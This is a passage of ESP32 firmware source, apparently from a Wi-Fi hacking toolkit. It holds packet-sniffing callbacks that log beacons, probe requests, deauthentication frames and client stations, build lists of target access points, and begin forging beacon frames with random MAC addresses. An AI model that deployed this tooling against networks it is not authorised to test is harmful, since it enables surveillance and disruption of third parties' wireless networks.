  1275. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1276. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1277. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1278. #ifdef HAS_SCREEN
  1279. int buf = display_obj.display_buffer->size();
  1280. #else
  1281. int buf = 0;
  1282. #endif
  1283. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1284. {
  1285. char addr[] = "00:00:00:00:00:00";
  1286. getMAC(addr, snifferPacket->payload, 10);
  1287. src.concat(addr);
  1288. if (src == "de:ad:be:ef:de:ad") {
  1289. delay(random(0, 10));
  1290. Serial.print("RSSI: ");
  1291. Serial.print(snifferPacket->rx_ctrl.rssi);
  1292. Serial.print(" Ch: ");
  1293. Serial.print(snifferPacket->rx_ctrl.channel);
  1294. Serial.print(" BSSID: ");
  1295. Serial.print(addr);
  1296. //display_string.concat(addr);
  1297. display_string.concat("CH: " + (String)snifferPacket->rx_ctrl.channel);
  1298. Serial.print(" ESSID: ");
  1299. display_string.concat(" -> ");
  1300. // Just grab the first 255 bytes of the pwnagotchi beacon
  1301. // because that is where the name is
  1302. //for (int i = 0; i < snifferPacket->payload[37]; i++)
  1303. for (int i = 0; i < len - 37; i++)
  1304. {
  1305. Serial.print((char)snifferPacket->payload[i + 38]);
  1306. //display_string.concat((char)snifferPacket->payload[i + 38]);
  1307. if (isAscii(snifferPacket->payload[i + 38]))
  1308. essid.concat((char)snifferPacket->payload[i + 38]);
  1309. else
  1310. Serial.println("Got non-ascii character: " + (String)(char)snifferPacket->payload[i + 38]);
  1311. }
  1312. //essid.concat("\": \"\"}}");
  1313. //Serial.println("\n" + (String)(snifferPacket->payload[37]) + " -> " + essid);
  1314. // Load json
  1315. //DynamicJsonBuffer jsonBuffer; // ArduinoJson v5
  1316. DynamicJsonDocument json(1024); // ArduinoJson v6
  1317. //JsonObject& json = jsonBuffer.parseObject(essid); // ArduinoJson v5
  1318. // ArduinoJson v6
  1319. if (deserializeJson(json, essid)) {
  1320. Serial.println("\nCould not parse Pwnagotchi json");
  1321. display_string.concat(essid);
  1322. }
  1323. else {
  1324. Serial.println("\nSuccessfully parsed json");
  1325. String json_output;
  1326. //json.printTo(json_output); // ArduinoJson v5
  1327. serializeJson(json, json_output); // ArduinoJson v6
  1328. Serial.println(json_output);
  1329. display_string.concat(json["name"].as<String>() + " pwnd: " + json["pwnd_tot"].as<String>());
  1330. }
  1331. int temp_len = display_string.length();
  1332. for (int i = 0; i < 40 - temp_len; i++)
  1333. {
  1334. display_string.concat(" ");
  1335. }
  1336. Serial.print(" ");
  1337. #ifdef HAS_SCREEN
  1338. if (display_obj.display_buffer->size() == 0)
  1339. {
  1340. display_obj.loading = true;
  1341. display_obj.display_buffer->add(display_string);
  1342. display_obj.loading = false;
  1343. }
  1344. #endif
  1345. Serial.println();
  1346. if (save_packet)
  1347. sd_obj.addPacket(snifferPacket->payload, len);
  1348. }
  1349. }
  1350. }
  1351. }
  1352. void WiFiScan::apSnifferCallbackFull(void* buf, wifi_promiscuous_pkt_type_t type) {
  1353. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1354. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1355. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1356. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1357. int len = snifferPacket->rx_ctrl.sig_len;
  1358. String display_string = "";
  1359. String essid = "";
  1360. String bssid = "";
  1361. if (type == WIFI_PKT_MGMT)
  1362. {
  1363. len -= 4;
  1364. int fctl = ntohs(frameControl->fctl);
  1365. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1366. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1367. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1368. #ifdef HAS_SCREEN
  1369. int buf = display_obj.display_buffer->size();
  1370. #else
  1371. int buf = 0;
  1372. #endif
  1373. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1374. {
  1375. char addr[] = "00:00:00:00:00:00";
  1376. getMAC(addr, snifferPacket->payload, 10);
  1377. bool in_list = false;
  1378. bool mac_match = true;
  1379. for (int i = 0; i < access_points->size(); i++) {
  1380. mac_match = true;
  1381. //Serial.print("Checking ");
  1382. //Serial.print(addr);
  1383. //Serial.println(" against " + (String)access_points->get(i).essid);
  1384. for (int x = 0; x < 6; x++) {
  1385. //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
  1386. if (snifferPacket->payload[x + 10] != access_points->get(i).bssid[x]) {
  1387. mac_match = false;
  1388. //Serial.println("MACs do not match");
  1389. break;
  1390. }
  1391. }
  1392. if (mac_match) {
  1393. in_list = true;
  1394. break;
  1395. }
  1396. }
  1397. if (!in_list) {
  1398. delay(random(0, 10));
  1399. Serial.print("RSSI: ");
  1400. Serial.print(snifferPacket->rx_ctrl.rssi);
  1401. Serial.print(" Ch: ");
  1402. Serial.print(snifferPacket->rx_ctrl.channel);
  1403. Serial.print(" BSSID: ");
  1404. Serial.print(addr);
  1405. display_string.concat(addr);
  1406. Serial.print(" ESSID: ");
  1407. display_string.concat(" -> ");
  1408. for (int i = 0; i < snifferPacket->payload[37]; i++)
  1409. {
  1410. Serial.print((char)snifferPacket->payload[i + 38]);
  1411. display_string.concat((char)snifferPacket->payload[i + 38]);
  1412. essid.concat((char)snifferPacket->payload[i + 38]);
  1413. }
  1414. bssid.concat(addr);
  1415. int temp_len = display_string.length();
  1416. for (int i = 0; i < 40 - temp_len; i++)
  1417. {
  1418. display_string.concat(" ");
  1419. }
  1420. Serial.print(" ");
  1421. #ifdef HAS_SCREEN
  1422. if (display_obj.display_buffer->size() == 0)
  1423. {
  1424. display_obj.loading = true;
  1425. display_obj.display_buffer->add(display_string);
  1426. display_obj.loading = false;
  1427. }
  1428. #endif
  1429. if (essid == "") {
  1430. essid = bssid;
  1431. Serial.print(essid + " ");
  1432. }
  1433. //LinkedList<char> beacon = new LinkedList<char>();
  1434. /*AccessPoint ap = {essid,
  1435. snifferPacket->rx_ctrl.channel,
  1436. {snifferPacket->payload[10],
  1437. snifferPacket->payload[11],
  1438. snifferPacket->payload[12],
  1439. snifferPacket->payload[13],
  1440. snifferPacket->payload[14],
  1441. snifferPacket->payload[15]},
  1442. false,
  1443. NULL};*/
  1444. AccessPoint ap;
  1445. ap.essid = essid;
  1446. ap.channel = snifferPacket->rx_ctrl.channel;
  1447. ap.bssid[0] = snifferPacket->payload[10];
  1448. ap.bssid[1] = snifferPacket->payload[11];
  1449. ap.bssid[2] = snifferPacket->payload[12];
  1450. ap.bssid[3] = snifferPacket->payload[13];
  1451. ap.bssid[4] = snifferPacket->payload[14];
  1452. ap.bssid[5] = snifferPacket->payload[15];
  1453. ap.selected = false;
  1454. ap.stations = new LinkedList<int>();
  1455. ap.beacon = new LinkedList<char>();
  1456. //for (int i = 0; i < len; i++) {
  1457. // ap.beacon->add(snifferPacket->payload[i]);
  1458. //}
  1459. ap.beacon->add(snifferPacket->payload[34]);
  1460. ap.beacon->add(snifferPacket->payload[35]);
  1461. Serial.print("\nBeacon: ");
  1462. for (int i = 0; i < ap.beacon->size(); i++) {
  1463. char hexCar[4];
  1464. sprintf(hexCar, "%02X", ap.beacon->get(i));
  1465. Serial.print(hexCar);
  1466. if ((i + 1) % 16 == 0)
  1467. Serial.print("\n");
  1468. else
  1469. Serial.print(" ");
  1470. }
  1471. ap.rssi = snifferPacket->rx_ctrl.rssi;
  1472. access_points->add(ap);
  1473. Serial.print(access_points->size());
  1474. Serial.println();
  1475. if (save_packet)
  1476. sd_obj.addPacket(snifferPacket->payload, len);
  1477. }
  1478. }
  1479. }
  1480. }
  1481. void WiFiScan::apSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1482. {
  1483. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1484. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1485. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1486. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1487. int len = snifferPacket->rx_ctrl.sig_len;
  1488. String display_string = "";
  1489. String essid = "";
  1490. String bssid = "";
  1491. if (type == WIFI_PKT_MGMT)
  1492. {
  1493. len -= 4;
  1494. int fctl = ntohs(frameControl->fctl);
  1495. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1496. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1497. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1498. #ifdef HAS_SCREEN
  1499. int buf = display_obj.display_buffer->size();
  1500. #else
  1501. int buf = 0;
  1502. #endif
  1503. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1504. {
  1505. char addr[] = "00:00:00:00:00:00";
  1506. getMAC(addr, snifferPacket->payload, 10);
  1507. bool in_list = false;
  1508. bool mac_match = true;
  1509. for (int i = 0; i < access_points->size(); i++) {
  1510. mac_match = true;
  1511. //Serial.print("Checking ");
  1512. //Serial.print(addr);
  1513. //Serial.println(" against " + (String)access_points->get(i).essid);
  1514. for (int x = 0; x < 6; x++) {
  1515. //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
  1516. if (snifferPacket->payload[x + 10] != access_points->get(i).bssid[x]) {
  1517. mac_match = false;
  1518. //Serial.println("MACs do not match");
  1519. break;
  1520. }
  1521. }
  1522. if (mac_match) {
  1523. in_list = true;
  1524. break;
  1525. }
  1526. }
  1527. if (!in_list) {
  1528. delay(random(0, 10));
  1529. Serial.print("RSSI: ");
  1530. Serial.print(snifferPacket->rx_ctrl.rssi);
  1531. Serial.print(" Ch: ");
  1532. Serial.print(snifferPacket->rx_ctrl.channel);
  1533. Serial.print(" BSSID: ");
  1534. Serial.print(addr);
  1535. display_string.concat(addr);
  1536. Serial.print(" ESSID: ");
  1537. display_string.concat(" -> ");
  1538. for (int i = 0; i < snifferPacket->payload[37]; i++)
  1539. {
  1540. Serial.print((char)snifferPacket->payload[i + 38]);
  1541. display_string.concat((char)snifferPacket->payload[i + 38]);
  1542. essid.concat((char)snifferPacket->payload[i + 38]);
  1543. }
  1544. bssid.concat(addr);
  1545. int temp_len = display_string.length();
  1546. for (int i = 0; i < 40 - temp_len; i++)
  1547. {
  1548. display_string.concat(" ");
  1549. }
  1550. Serial.print(" ");
  1551. #ifdef HAS_SCREEN
  1552. if (display_obj.display_buffer->size() == 0)
  1553. {
  1554. display_obj.loading = true;
  1555. display_obj.display_buffer->add(display_string);
  1556. display_obj.loading = false;
  1557. }
  1558. #endif
  1559. if (essid == "") {
  1560. essid = bssid;
  1561. Serial.print(essid + " ");
  1562. }
  1563. AccessPoint ap = {essid,
  1564. snifferPacket->rx_ctrl.channel,
  1565. {snifferPacket->payload[10],
  1566. snifferPacket->payload[11],
  1567. snifferPacket->payload[12],
  1568. snifferPacket->payload[13],
  1569. snifferPacket->payload[14],
  1570. snifferPacket->payload[15]},
  1571. false,
  1572. NULL,
  1573. snifferPacket->rx_ctrl.rssi,
  1574. new LinkedList<int>()};
  1575. access_points->add(ap);
  1576. Serial.print(access_points->size());
  1577. Serial.println();
  1578. if (save_packet)
  1579. sd_obj.addPacket(snifferPacket->payload, len);
  1580. }
  1581. }
  1582. }
  1583. }
  1584. void WiFiScan::beaconSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1585. {
  1586. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1587. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1588. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1589. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1590. int len = snifferPacket->rx_ctrl.sig_len;
  1591. String display_string = "";
  1592. if (type == WIFI_PKT_MGMT)
  1593. {
  1594. len -= 4;
  1595. int fctl = ntohs(frameControl->fctl);
  1596. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1597. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1598. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1599. #ifdef HAS_SCREEN
  1600. int buf = display_obj.display_buffer->size();
  1601. #else
  1602. int buf = 0;
  1603. #endif
  1604. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1605. {
  1606. delay(random(0, 10));
  1607. Serial.print("RSSI: ");
  1608. Serial.print(snifferPacket->rx_ctrl.rssi);
  1609. Serial.print(" Ch: ");
  1610. Serial.print(snifferPacket->rx_ctrl.channel);
  1611. Serial.print(" BSSID: ");
  1612. char addr[] = "00:00:00:00:00:00";
  1613. getMAC(addr, snifferPacket->payload, 10);
  1614. Serial.print(addr);
  1615. display_string.concat(addr);
  1616. Serial.print(" ESSID: ");
  1617. display_string.concat(" -> ");
  1618. for (int i = 0; i < snifferPacket->payload[37]; i++)
  1619. {
  1620. Serial.print((char)snifferPacket->payload[i + 38]);
  1621. display_string.concat((char)snifferPacket->payload[i + 38]);
  1622. }
  1623. int temp_len = display_string.length();
  1624. #ifdef HAS_SCREEN
  1625. for (int i = 0; i < 40 - temp_len; i++)
  1626. {
  1627. display_string.concat(" ");
  1628. }
  1629. Serial.print(" ");
  1630. if (display_obj.display_buffer->size() == 0)
  1631. {
  1632. display_obj.loading = true;
  1633. display_obj.display_buffer->add(display_string);
  1634. display_obj.loading = false;
  1635. }
  1636. #endif
  1637. Serial.println();
  1638. if (save_packet)
  1639. sd_obj.addPacket(snifferPacket->payload, len);
  1640. }
  1641. }
  1642. }
  1643. void WiFiScan::stationSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
  1644. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1645. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1646. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1647. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1648. int len = snifferPacket->rx_ctrl.sig_len;
  1649. String display_string = "";
  1650. String mac = "";
  1651. if (type == WIFI_PKT_MGMT)
  1652. {
  1653. len -= 4;
  1654. int fctl = ntohs(frameControl->fctl);
  1655. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1656. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1657. }
  1658. char ap_addr[] = "00:00:00:00:00:00";
  1659. char dst_addr[] = "00:00:00:00:00:00";
  1660. int ap_index = 0;
  1661. // Check if frame has ap in list of APs and determine position
  1662. uint8_t frame_offset = 0;
  1663. int offsets[2] = {10, 4};
  1664. bool matched_ap = false;
  1665. bool ap_is_src = false;
  1666. bool mac_match = true;
  1667. for (int y = 0; y < 2; y++) {
  1668. for (int i = 0; i < access_points->size(); i++) {
  1669. mac_match = true;
  1670. for (int x = 0; x < 6; x++) {
  1671. //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
  1672. if (snifferPacket->payload[x + offsets[y]] != access_points->get(i).bssid[x]) {
  1673. mac_match = false;
  1674. break;
  1675. }
  1676. }
  1677. if (mac_match) {
  1678. matched_ap = true;
  1679. if (offsets[y] == 10)
  1680. ap_is_src = true;
  1681. ap_index = i;
  1682. getMAC(ap_addr, snifferPacket->payload, offsets[y]);
  1683. break;
  1684. }
  1685. }
  1686. if (matched_ap)
  1687. break;
  1688. }
  1689. // If did not find ap from list in frame, drop frame
  1690. if (!matched_ap)
  1691. return;
  1692. else {
  1693. if (ap_is_src)
  1694. frame_offset = 4;
  1695. else
  1696. frame_offset = 10;
  1697. }
  1698. /* Stuff to care about now
  1699. * ap_is_src
  1700. * ap_index
  1701. */
  1702. // Check if we already have this station
  1703. bool in_list = false;
  1704. for (int i = 0; i < stations->size(); i++) {
  1705. mac_match = true;
  1706. for (int x = 0; x < 6; x++) {
  1707. //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
  1708. if (snifferPacket->payload[x + frame_offset] != stations->get(i).mac[x]) {
  1709. mac_match = false;
  1710. //Serial.println("MACs do not match");
  1711. break;
  1712. }
  1713. }
  1714. if (mac_match) {
  1715. in_list = true;
  1716. break;
  1717. }
  1718. }
  1719. getMAC(dst_addr, snifferPacket->payload, 4);
  1720. // Check if dest is broadcast
  1721. if ((in_list) || (strcmp(dst_addr, "ff:ff:ff:ff:ff:ff") == 0))
  1722. return;
  1723. // Add to list of stations
  1724. Station sta = {
  1725. {snifferPacket->payload[frame_offset],
  1726. snifferPacket->payload[frame_offset + 1],
  1727. snifferPacket->payload[frame_offset + 2],
  1728. snifferPacket->payload[frame_offset + 3],
  1729. snifferPacket->payload[frame_offset + 4],
  1730. snifferPacket->payload[frame_offset + 5]},
  1731. false};
  1732. stations->add(sta);
  1733. // Print findings to serial
  1734. Serial.print((String)stations->size() + ": ");
  1735. char sta_addr[] = "00:00:00:00:00:00";
  1736. if (ap_is_src) {
  1737. Serial.print("ap: ");
  1738. Serial.print(ap_addr);
  1739. Serial.print(" -> sta: ");
  1740. getMAC(sta_addr, snifferPacket->payload, 4);
  1741. Serial.println(sta_addr);
  1742. }
  1743. else {
  1744. Serial.print("sta: ");
  1745. getMAC(sta_addr, snifferPacket->payload, 10);
  1746. Serial.print(sta_addr);
  1747. Serial.print(" -> ap: ");
  1748. Serial.println(ap_addr);
  1749. }
  1750. display_string.concat(sta_addr);
  1751. int temp_len = display_string.length();
  1752. #ifdef HAS_SCREEN
  1753. for (int i = 0; i < 40 - temp_len; i++)
  1754. {
  1755. display_string.concat(" ");
  1756. }
  1757. Serial.print(" ");
  1758. if (display_obj.display_buffer->size() == 0)
  1759. {
  1760. display_obj.loading = true;
  1761. display_obj.display_buffer->add(display_string);
  1762. display_obj.loading = false;
  1763. }
  1764. #endif
  1765. // Add station index to AP in list
  1766. //access_points->get(ap_index).stations->add(stations->size() - 1);
  1767. AccessPoint ap = access_points->get(ap_index);
  1768. ap.stations->add(stations->size() - 1);
  1769. access_points->set(ap_index, ap);
  1770. if (save_packet)
  1771. sd_obj.addPacket(snifferPacket->payload, len);
  1772. }
  1773. void WiFiScan::rawSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1774. {
  1775. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1776. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1777. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1778. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1779. int len = snifferPacket->rx_ctrl.sig_len;
  1780. String display_string = "";
  1781. if (type == WIFI_PKT_MGMT)
  1782. {
  1783. len -= 4;
  1784. int fctl = ntohs(frameControl->fctl);
  1785. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1786. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1787. }
  1788. Serial.print("RSSI: ");
  1789. Serial.print(snifferPacket->rx_ctrl.rssi);
  1790. Serial.print(" Ch: ");
  1791. Serial.print(snifferPacket->rx_ctrl.channel);
  1792. Serial.print(" BSSID: ");
  1793. char addr[] = "00:00:00:00:00:00";
  1794. getMAC(addr, snifferPacket->payload, 10);
  1795. Serial.print(addr);
  1796. display_string.concat(text_table4[0]);
  1797. display_string.concat(snifferPacket->rx_ctrl.rssi);
  1798. display_string.concat(" ");
  1799. display_string.concat(addr);
  1800. int temp_len = display_string.length();
  1801. #ifdef HAS_SCREEN
  1802. for (int i = 0; i < 40 - temp_len; i++)
  1803. {
  1804. display_string.concat(" ");
  1805. }
  1806. Serial.print(" ");
  1807. if (display_obj.display_buffer->size() == 0)
  1808. {
  1809. display_obj.loading = true;
  1810. display_obj.display_buffer->add(display_string);
  1811. display_obj.loading = false;
  1812. }
  1813. #endif
  1814. Serial.println();
  1815. if (save_packet)
  1816. sd_obj.addPacket(snifferPacket->payload, len);
  1817. }
  1818. void WiFiScan::deauthSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1819. {
  1820. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1821. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1822. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1823. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1824. int len = snifferPacket->rx_ctrl.sig_len;
  1825. String display_string = "";
  1826. if (type == WIFI_PKT_MGMT)
  1827. {
  1828. len -= 4;
  1829. int fctl = ntohs(frameControl->fctl);
  1830. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1831. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1832. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1833. #ifdef HAS_SCREEN
  1834. int buf = display_obj.display_buffer->size();
  1835. #else
  1836. int buf = 0;
  1837. #endif
  1838. if ((snifferPacket->payload[0] == 0xA0 || snifferPacket->payload[0] == 0xC0 ) && (buf == 0))
  1839. {
  1840. delay(random(0, 10));
  1841. Serial.print("RSSI: ");
  1842. Serial.print(snifferPacket->rx_ctrl.rssi);
  1843. Serial.print(" Ch: ");
  1844. Serial.print(snifferPacket->rx_ctrl.channel);
  1845. Serial.print(" BSSID: ");
  1846. char addr[] = "00:00:00:00:00:00";
  1847. char dst_addr[] = "00:00:00:00:00:00";
  1848. getMAC(addr, snifferPacket->payload, 10);
  1849. getMAC(dst_addr, snifferPacket->payload, 4);
  1850. Serial.print(addr);
  1851. Serial.print(" -> ");
  1852. Serial.print(dst_addr);
  1853. display_string.concat(text_table4[0]);
  1854. display_string.concat(snifferPacket->rx_ctrl.rssi);
  1855. display_string.concat(" ");
  1856. display_string.concat(addr);
  1857. #ifdef HAS_SCREEN
  1858. for (int i = 0; i < 19 - snifferPacket->payload[37]; i++)
  1859. {
  1860. display_string.concat(" ");
  1861. }
  1862. Serial.print(" ");
  1863. if (display_obj.display_buffer->size() == 0)
  1864. {
  1865. display_obj.loading = true;
  1866. display_obj.display_buffer->add(display_string);
  1867. display_obj.loading = false;
  1868. }
  1869. #endif
  1870. Serial.println();
  1871. if (save_packet)
  1872. sd_obj.addPacket(snifferPacket->payload, len);
  1873. }
  1874. }
  1875. }
  1876. void WiFiScan::probeSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
  1877. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1878. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1879. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1880. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1881. int len = snifferPacket->rx_ctrl.sig_len;
  1882. String display_string = "";
  1883. if (type == WIFI_PKT_MGMT)
  1884. {
  1885. len -= 4;
  1886. int fctl = ntohs(frameControl->fctl);
  1887. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1888. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1889. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1890. #ifdef HAS_SCREEN
  1891. int buf = display_obj.display_buffer->size();
  1892. #else
  1893. int buf = 0;
  1894. #endif
  1895. if ((snifferPacket->payload[0] == 0x40) && (buf == 0))
  1896. {
  1897. delay(random(0, 10));
  1898. Serial.print("RSSI: ");
  1899. Serial.print(snifferPacket->rx_ctrl.rssi);
  1900. Serial.print(" Ch: ");
  1901. Serial.print(snifferPacket->rx_ctrl.channel);
  1902. Serial.print(" Client: ");
  1903. char addr[] = "00:00:00:00:00:00";
  1904. getMAC(addr, snifferPacket->payload, 10);
  1905. Serial.print(addr);
  1906. display_string.concat(addr);
  1907. Serial.print(" Requesting: ");
  1908. display_string.concat(" -> ");
  1909. for (int i = 0; i < snifferPacket->payload[25]; i++)
  1910. {
  1911. Serial.print((char)snifferPacket->payload[26 + i]);
  1912. display_string.concat((char)snifferPacket->payload[26 + i]);
  1913. }
  1914. // Print spaces because of the rotating lines of the hardware scroll.
  1915. // The same characters print from previous lines so I just overwrite them
  1916. // with spaces.
  1917. #ifdef HAS_SCREEN
  1918. for (int i = 0; i < 19 - snifferPacket->payload[25]; i++)
  1919. {
  1920. display_string.concat(" ");
  1921. }
  1922. if (display_obj.display_buffer->size() == 0)
  1923. {
  1924. //while (display_obj.printing)
  1925. // delay(1);
  1926. display_obj.loading = true;
  1927. display_obj.display_buffer->add(display_string);
  1928. display_obj.loading = false;
  1929. }
  1930. #endif
  1931. Serial.println();
  1932. if (save_packet)
  1933. sd_obj.addPacket(snifferPacket->payload, len);
  1934. }
  1935. }
  1936. }
  1937. void WiFiScan::beaconListSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
  1938. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1939. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1940. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1941. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1942. int len = snifferPacket->rx_ctrl.sig_len;
  1943. String display_string = "";
  1944. String essid = "";
  1945. bool found = false;
  1946. if (type == WIFI_PKT_MGMT)
  1947. {
  1948. len -= 4;
  1949. int fctl = ntohs(frameControl->fctl);
  1950. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1951. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1952. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1953. #ifdef HAS_SCREEN
  1954. int buf = display_obj.display_buffer->size();
  1955. #else
  1956. int buf = 0;
  1957. #endif
  1958. if ((snifferPacket->payload[0] == 0x40) && (buf == 0))
  1959. {
  1960. for (uint8_t i = 0; i < snifferPacket->payload[25]; i++)
  1961. {
  1962. essid.concat((char)snifferPacket->payload[26 + i]);
  1963. }
  1964. for (int i = 0; i < ssids->size(); i++) {
  1965. if (ssids->get(i).essid == essid) {
  1966. Serial.println("Found a sheep");
  1967. found = true;
  1968. break;
  1969. }
  1970. }
  1971. if (!found)
  1972. return;
  1973. delay(random(0, 10));
  1974. Serial.print("RSSI: ");
  1975. Serial.print(snifferPacket->rx_ctrl.rssi);
  1976. Serial.print(" Ch: ");
  1977. Serial.print(snifferPacket->rx_ctrl.channel);
  1978. Serial.print(" Client: ");
  1979. char addr[] = "00:00:00:00:00:00";
  1980. getMAC(addr, snifferPacket->payload, 10);
  1981. Serial.print(addr);
  1982. display_string.concat(addr);
  1983. Serial.print(" Requesting: ");
  1984. display_string.concat(" -> ");
  1985. // ESSID
  1986. for (int i = 0; i < snifferPacket->payload[25]; i++)
  1987. {
  1988. Serial.print((char)snifferPacket->payload[26 + i]);
  1989. display_string.concat((char)snifferPacket->payload[26 + i]);
  1990. }
  1991. // Print spaces because of the rotating lines of the hardware scroll.
  1992. // The same characters print from previous lines so I just overwrite them
  1993. // with spaces.
  1994. #ifdef HAS_SCREEN
  1995. for (int i = 0; i < 19 - snifferPacket->payload[25]; i++)
  1996. {
  1997. display_string.concat(" ");
  1998. }
  1999. if (display_obj.display_buffer->size() == 0)
  2000. {
  2001. display_obj.loading = true;
  2002. display_obj.display_buffer->add(display_string);
  2003. display_obj.loading = false;
  2004. }
  2005. #endif
  2006. Serial.println();
  2007. if (save_packet)
  2008. sd_obj.addPacket(snifferPacket->payload, len);
  2009. }
  2010. }
  2011. }
  2012. /*
  2013. void WiFiScan::broadcastAPBeacon(uint32_t currentTime, AccessPoint custom_ssid) {
  2014. set_channel = random(1,12);
  2015. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  2016. delay(1);
  2017. // Randomize SRC MAC
  2018. packet[10] = packet[16] = custom_ssid.bssid[0];
  2019. packet[11] = packet[17] = custom_ssid.bssid[1];
  2020. packet[12] = packet[18] = custom_ssid.bssid[2];
  2021. packet[13] = packet[19] = custom_ssid.bssid[3];
  2022. packet[14] = packet[20] = custom_ssid.bssid[4];
  2023. packet[15] = packet[21] = custom_ssid.bssid[5];
  2024. char ESSID[custom_ssid.essid.length() + 1] = {};
  2025. custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
  2026. }*/
  2027. void WiFiScan::broadcastCustomBeacon(uint32_t current_time, AccessPoint custom_ssid) {
  2028. set_channel = random(1,12);
  2029. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  2030. delay(1);
  2031. if (custom_ssid.beacon->size() == 0)
  2032. return;
  2033. // Randomize SRC MAC
  2034. // Randomize SRC MAC
  2035. packet[10] = packet[16] = random(256);
  2036. packet[11] = packet[17] = random(256);
  2037. packet[12] = packet[18] = random(256);
  2038. packet[13] = packet[19] = random(256);
  2039. packet[14] = packet[20] = random(256);
